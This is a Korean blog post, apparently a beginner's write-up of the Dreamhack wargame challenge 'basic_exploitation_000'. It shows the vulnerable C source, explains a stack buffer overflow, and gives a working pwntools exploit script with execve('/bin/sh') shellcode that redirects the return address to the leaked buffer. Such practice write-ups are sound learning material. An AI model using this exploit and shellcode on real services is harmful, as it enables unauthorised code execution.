반응형

2학기 들어서 처음 풀어보는 Pwnable 문제!!

신나는 마음으로 접근해보았다.

(문제 링크 : https://dreamhack.io/wargame/challenges/2)

 

basic_exploitation_000

Description 이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_000)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요. "f

dreamhack.io

강의를 다 보고나서 문제를 보니, 

이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_000)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.

라고 한다.

 

그런데, 주어진 소스코드를 살펴보면 익스해서 셸을 획득할 수 있는 코드가 존재하지 않는다.

그렇다면... 셸코드를 이용해야할 것 같다. 셸코드는 대략 25~26byte정도 되었던 것으로 기억하니, 그걸 감안하고 문제를 풀어보도록 해야겠다. (아직 bof말고는 아무것도 몰라서 제 설명이 맞는지는 모르겠습니다! 틀렸다면 죄송!!!)

 

alarm_handler() 는 무시해도 될 것 같다.

initialize()는 그냥 버퍼 초기화하는 함수인 것 같으니까 무시해야겠다.

main()함수만 보도록 하자!

 

공부한대로 그냥 차근차근 보자.

일단 파일이 어떤녀석인지 보자.

32bit, SYSV 이정도만 알면 될 것 같다.

 

다음으로, stack에는 매개변수, 반환주소(RET, SFP), 지역변수 순으로 저장된다. 이를 그림으로 그려보면

이런 형태일 것이다.(매개변수는 들어오지 않았으므로.)

이제 코드상의 취약점을 찾아보자.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
   
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

buf의 사이즈가 0x80 즉, 128byte인데 scanf에서는 141byte씩이나 받고있다. (개발자 뭐하냐... 정신차려...) 

그렇다면 맛있게 bof를 해주면 될 것 같다.

 

익스 코드를 짜주자.

from pwn import *

p = remote('host3.dreamhack.games', 14027)

shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"

p.recvuntil("buf = (")
buf_addr = int(p.recv(10), 16)

print(buf_addr)

payload = shellcode
payload += b"\x90" * (0x80 - len(shellcode))
payload += b"\x90" * 4
payload += p32(buf_addr)

p.sendline(payload)
p.interactive()

(shellcode는 그냥 인터넷에서 찾아서 긁어왔다 ㅎ..)

 

1. 우선 처음 nc 접속하면 "buf = (buf의 address)" 가 출력된다. buf의 address는 (0xXXXXXXXX) 이런 형태를 띠고있을 것이므로, 해당 주소는 10글자라고 할 수 있다. 따라서, "buf = (" 이후, 열글자를 16진수형 정수로 받아 이를 buf_addr에 저장해준다.

2. 그 다음, shellcode를 buf에 저장해주고, 나머지는 NOP으로 가득 채워준 후, SFP도 그냥 NOP으로 채우고 나서, return address를 buf의 시작주소로 지정해주어 이를 실행해주면 될 것이다!

 

성공한 것으로 보인다.

 

역시 처음 공부하는건 다 재밌다 ㅎ

반응형

+ Recent posts